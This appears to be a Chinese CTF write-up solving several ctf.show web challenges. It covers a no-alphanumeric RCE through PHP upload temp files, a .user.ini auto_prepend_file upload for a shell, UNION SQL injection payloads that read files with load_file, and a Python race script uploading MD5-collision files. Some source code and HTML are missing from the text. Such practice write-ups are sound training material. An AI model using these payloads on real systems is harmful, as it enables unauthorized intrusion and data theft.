打开题目,提示参数cmd
我们随便输入?cmd=1
得到源代码
ctf.show_红包题
where is the flag?
ctf.show_红包题
ctf.show_红包题
where is the flag?
cerror
我们要利用eval()函数命令执行,但是我们看一下if语句,发现是无字母数字RCE,并且不能用取反,异或,自增去绕过
(这里可以参考p神文章)
我们得先了解下面几个概念
点 .
点命令等于source命令,用来执行文件。source /home/user/bash 等同于 . /home/user/bash
临时文件夹目录
php上传文件后会将文件存储在临时文件夹,然后用move_uploaded_file()
函数将上传的文件移动到新位置。临时文件夹可通过php.ini的upload_tmp_dir 指定,默认是/tmp目录。
临时文件命名规则
默认为 php+4或者6位随机数字和大小写字母,在windows下有tmp后缀,linux没有。比如windows下:phpXXXXXX.tmp
linux下:phpXXXXXX。
通配符
问号?代表一个任意字符,通配符/??p/p?p???匹配/tmp/phpxxxxxx
Content-Type
Content-Type有两个值:
①application/x-www-form-urlencoded(默认值) :上传键值对
②multipart/form-data:上传文件
思路:利用上传的临时文件去命令执行getshell
首先我们得先实现文件上传的功能
F12右键编辑html,将下面代码复制上去
ls /
然后上传,用bp抓包
添加参数
?cmd=?>=`.+/??p/p?p??????`;
注:
?>
是为了闭合前面的php代码/??p/p?p??????
是匹配/tmp/php??????
发送,发现有flag
cat一下,得到flag
打开题目,去读取下upload.php的备份文件
访问./upload.php.bak
,得到源码
24){ //文件内容不能大于24
die("error file zise");
}
if (strlen($filename)>9){ //文件名不能大于9
die("error file name");
}
if(strlen($ext_suffix)>3){ //拓展名长度不能大于3
die("error suffix");
}wenjian
if(preg_match("/php/i",$ext_suffix)){ //匹配php不分大小写,拓展名不能为php
die("error suffix");
}
if(preg_match("/php/i"),$filename)){ //匹配php不分大小写,文件名不能为php
die("error file name");
}
if (move_uploaded_file($temp_name, './'.$filename)){
echo "文件上传成功!";
}else{
echo "文件上传失败!";
}
?>
分析一下,既然拓展名只能读取一个,且不能为php
那么可以采用.user.ini配置文件攻击
首先创建.user.ini
文件,写入
auto_prepend_file=a.txt
然后上传,让所有文件包含a.txt
上传成功后,我们创建a.txt
,写入
上传,结果发现报错
看来只能先上传a.txt
,我们重启下环境
分别上传,发现成功getshell(上传文件的路径为根目录)
直接命令执行的话,发现直接回到初始页面
/?a=print_r(glob("*"));
或者是
?a=print_r(scandir('.'));
?a=highlight_file("903c00105c0141fd37ff47697e916e53616e33a72fb3774ab213b3e2a732f56f.php");
打开题目,发现是swtich选择结构
源代码如下
关键点就在于我们要得到$url
的值,当然有好几个选择
但是有这个sleep($c)
出现(毕竟谁也不想等)
那就只能传c=3进去
访问一下,发现是登录框
输入1时,回显admin
思路:我们可以用
mysql.innodb_table_stats
代替information_schema
然后用无列名注入得到flag
我们先判断下字段数
payload
?query=-1/**/union/**/select/**/1#
?query=-1/**/union/**/select/**/1,2#
说明字段数为1,然后我们就可以使用联合查询
爆库名
payload
?query=-1/**/union/**/select/**/database()#
?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/mysql.innodb_table_stats/**/where/**/database_name=database()#
?query=-1/**/union/**/select/**/group_concat(`1`,`2`,`3`)/**/from/**/(select/**/1,2,3/**/union/**/select/**/*/**/from/**/content)a#
(方法二已经查到有三列,所以这里有三位)
提示tell you a secret,secret has a secret...
,那应该和./secret.php
脱不了干系
访问一下,发现确实有东西,但是没显示,F12看hint
应该是要读取此文件
?query=-1/**/union/**/select/**/load_file('/var/www/html/secret.php')#
提示我们应该读取/real_flag_is_here
修改一下payload
?query=-1/**/union/**/select/**/load_file('/real_flag_is_here')
用information_schema.`tables`绕过
查询语句
爆库名
?query=-1/**/union/**/select/**/database()#
爆表名
?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()#
爆列名
?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'#
查询数据
?query=-1/**/union/**/select/**/group_concat(id,username,password)/**/from/**/content#
同样可以得到secret的提示
打开题目,由于提示不是SQL注入,那我们只好扫目录
(这里我的御剑和kali的dirsearch都扫不出来。。)
不过确实能扫出./web.zip
,访问下载此文件
解压完发现是备份文件
源代码
function receiveStreamFile($receiveFile){
$streamData = isset($GLOBALS['HTTP_RAW_POST_DATA'])? $GLOBALS['HTTP_RAW_POST_DATA'] : '';
if(empty($streamData)){
$streamData = file_get_contents('php://input');
}
if($streamData!=''){
$ret = file_put_contents($receiveFile, $streamData, true);
}else{
$ret = false;
}
return $ret;
}
if(md5(date("i")) === $token){
$receiveFile = 'flag.dat';
receiveStreamFile($receiveFile);
if(md5_file($receiveFile)===md5_file("key.dat")){
if(hash_file("sha512",$receiveFile)!=hash_file("sha512","key.dat")){
$ret['success']="1";
$ret['msg']="人脸识别成功!$flag";
$ret['error']="0";
echo json_encode($ret);
return;
}
$ret['errormsg']="same file";
echo json_encode($ret);
return;
}
$ret['errormsg']="md5 error";
echo json_encode($ret);
return;
}
$ret['errormsg']="token error";
echo json_encode($ret);
return;
分析一下
receiveStreamFile($receiveFile)
函数用于接收通过流方式上传的文件数据,并将其保存到指定的文件中。它可以用作文件上传的处理函数。我们可以查看下页面源代码
发现$token值是可控的
然后我们在直接访问./key.dat
,下载此文件
利用工具生成我们要上传的文件
./fastcoll_v1.0.0.5.exe -p key.dat -o 1.dat 2.dat
#ctf.show web 红包题第六弹
import requests
import time
import hashlib
import threading
def post(data):
try:
r=requests.post(url,data=data)
if "ctfshow" in r.text:
print(r.text)
except Exception as e:
pass
mi=str(time.localtime().tm_min)
m=hashlib.md5(mi.encode()).hexdigest()
url='http://95057b51-9493-4032-85ec-1a53d150505a.challenge.ctf.show/check.php?token={}&php://input'.format(m)
with open('key.dat','rb') as f:
data1=f.read()
with open('2.dat','rb') as f:
data2=f.read()
for i in range(30):
threading.Thread(target=post,args=(data1,)).start()
for i in range(30):
threading.Thread(target=post,args=(data2,)).start()
解释:
总的来说,m=hashlib.md5(mi.encode()).hexdigest()
计算哈希对象的摘要,并使用 hexdigest() 方法将结果转换为十六进制表示的字符串。这个字符串 m 将用作请求 URL 中的 token 部分。